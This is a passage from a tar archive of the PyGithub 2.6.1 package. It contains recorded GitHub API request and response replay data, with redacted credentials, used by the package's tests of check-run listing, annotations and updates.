production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","organization_packages":"write","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?status=queued&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 04:59:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"064db03759623f89d85add43a338562c850b2e56b6decb492c3e4f64f35c2fa9"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1616475784'), ('X-RateLimit-Used', '30'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE56:1431:E9CCB:12E2B0:605975BD')] {"total_count":0,"check_runs":[]} https GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?status=in_progress&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 04:59:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"064db03759623f89d85add43a338562c850b2e56b6decb492c3e4f64f35c2fa9"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1616475784'), ('X-RateLimit-Used', '31'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE58:7385:AB8318:BAC4AF:605975BD')] {"total_count":0,"check_runs":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testListCheckRunAnnotations.txt0000644000175100001660000002005314756101563026074 0ustar00runnerdockerhttps GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs/1280914700 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:05:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"3b36d1f6627dd72cb179d9f623bb650ad1d8e4235fe273b73bd87fb9b687a99a"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4862'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '138'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF4F:0A11:F413D1:14F8840:5F924871')] {"id":1280914700,"node_id":"MDg6Q2hlY2tSdW4xMjgwOTE0NzAw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"102","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280914700","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:34:15Z","completed_at":"2020-10-20T12:31:28Z","output":{"title":"Check run for testing list of annotations","summary":"This is test to get the list of annotations.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations"},"name":"annotations","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} https GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations?per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:05:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"d252069dc25ba5dc416e6aa0caef8f15558d24ca2a82dbf3bb03ceedfd324a0e"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4861'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '139'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF50:0A11:F413D6:14F8847:5F924872')] [{"path":"README.md","blob_href":"https://github.com/dhruvmanila/pygithub-testing/blob/0283d46537193f1fed7d46859f15c5304b9836f9/README.md","start_line":2,"start_column":null,"end_line":2,"end_column":null,"annotation_level":"warning","title":"Spell Checker","message":"Check your spelling for 'banaas'.","raw_details":"Do you mean 'bananas' or 'banana'?"}] https GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:05:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"047a28107e6c7cccaea233850af8c84a6c36a7eddfe08d6e1b78f3d435bdef2d"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4860'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '140'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF51:24B4:15A7A9D:1D6C9C1:5F924872')] [{"path":"README.md","blob_href":"https://github.com/dhruvmanila/pygithub-testing/blob/0283d46537193f1fed7d46859f15c5304b9836f9/README.md","start_line":2,"start_column":null,"end_line":2,"end_column":null,"annotation_level":"warning","title":"Spell Checker","message":"Check your spelling for 'banaas'.","raw_details":"Do you mean 'bananas' or 'banana'?"},{"path":"README.md","blob_href":"https://github.com/dhruvmanila/pygithub-testing/blob/0283d46537193f1fed7d46859f15c5304b9836f9/README.md","start_line":4,"start_column":null,"end_line":4,"end_column":null,"annotation_level":"warning","title":"Spell Checker","message":"Check your spelling for 'aples'","raw_details":"Do you mean 'apples' or 'Naples'"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testUpdateCheckRunAll.txt0000644000175100001660000001726614756101563024632 0ustar00runnerdockerhttps GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs/1279259090 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:05:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"a1dcda96e0191f36ff25916c095f9fa5d15e76c38a8a8b6076a5857f28fe2b3f"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4855'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '145'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF56:6561:C677EB:110B4D0:5F924874')] {"id":1279259090,"node_id":"MDg6Q2hlY2tSdW4xMjc5MjU5MDkw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"49","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1279259090","details_url":"https://www.example-url.com","status":"completed","conclusion":"success","started_at":"2020-10-20T01:10:20Z","completed_at":"2020-10-20T02:20:30Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090/annotations"},"name":"update_all_params","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} https PATCH api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs/1279259090 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "update_all_params", "head_sha": "0283d46537193f1fed7d46859f15c5304b9836f9", "details_url": "https://www.example-url.com", "external_id": "49", "started_at": "2020-10-20T01:10:20Z", "completed_at": "2020-10-20T02:20:30Z", "actions": [{"label": "Hello World!", "identifier": "identity", "description": "Hey! This is a test"}]} 200 [('Date', 'Fri, 23 Oct 2020 03:05:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"a1dcda96e0191f36ff25916c095f9fa5d15e76c38a8a8b6076a5857f28fe2b3f"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4854'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '146'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF57:24B4:15A7ACF:1D6C9FD:5F924875')] {"id":1279259090,"node_id":"MDg6Q2hlY2tSdW4xMjc5MjU5MDkw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"49","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1279259090","details_url":"https://www.example-url.com","status":"completed","conclusion":"success","started_at":"2020-10-20T01:10:20Z","completed_at":"2020-10-20T02:20:30Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090/annotations"},"name":"update_all_params","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testUpdateCheckRunFailure.txt0000644000175100001660000002034714756101563025503 0ustar00runnerdockerhttps POST api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "fail_check_run", "head_sha": "0283d46537193f1fed7d46859f15c5304b9836f9", "external_id": "101", "status": "in_progress", "started_at": "2020-10-20T10:14:51Z", "output": {"title": "Check run for testing failure", "summary": ""}} 201 [('Date', 'Fri, 23 Oct 2020 03:05:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2189'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"db85c7fc5214880ce830f219d130de091283a1d689b84b9181611321ceadab49"'), ('Location', 'https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4849'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '151'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CF5C:6DFC:1520E31:1CD4410:5F924877')] {"id":1296029378,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5Mzc4","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"101","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029378","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"in_progress","conclusion":null,"started_at":"2020-10-20T10:14:51Z","completed_at":null,"output":{"title":"Check run for testing failure","summary":"","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378/annotations"},"name":"fail_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} https PATCH api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs/1296029378 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"status": "completed", "conclusion": "failure", "output": {"title": "Check run for testing failure", "summary": "There is 1 whitespace error.", "text": "You may have a whitespace error in the file 'test.py'", "annotations": [{"path": "test.py", "annotation_level": "failure", "title": "whitespace checker", "message": "Remove the unnecessary whitespace from the file.", "start_line": 2, "end_line": 2, "start_column": 17, "end_column": 18}]}, "actions": [{"label": "Fix", "identifier": "fix_errors", "description": "Allow us to fix these errors for you"}]} 200 [('Date', 'Fri, 23 Oct 2020 03:05:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"190b6a62c177d880d2516d65d81f449089e885590b78b2c87c1fb3f7a1a04288"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4848'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '152'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF5D:09F2:EC7E9A:1442E6A:5F924878')] {"id":1296029378,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5Mzc4","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"101","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029378","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"failure","started_at":"2020-10-20T10:14:51Z","completed_at":"2020-10-23T03:05:28Z","output":{"title":"Check run for testing failure","summary":"There is 1 whitespace error.","text":"You may have a whitespace error in the file 'test.py'","annotations_count":1,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378/annotations"},"name":"fail_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testUpdateCheckRunSuccess.txt0000644000175100001660000001753214756101563025526 0ustar00runnerdockerhttps POST api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "edit_check_run", "head_sha": "0283d46537193f1fed7d46859f15c5304b9836f9", "external_id": "100", "status": "in_progress", "started_at": "2020-10-20T14:24:31Z", "output": {"title": "Check run for testing edit method", "summary": ""}} 201 [('Date', 'Fri, 23 Oct 2020 03:05:31 GMT'), ('Content-Type', 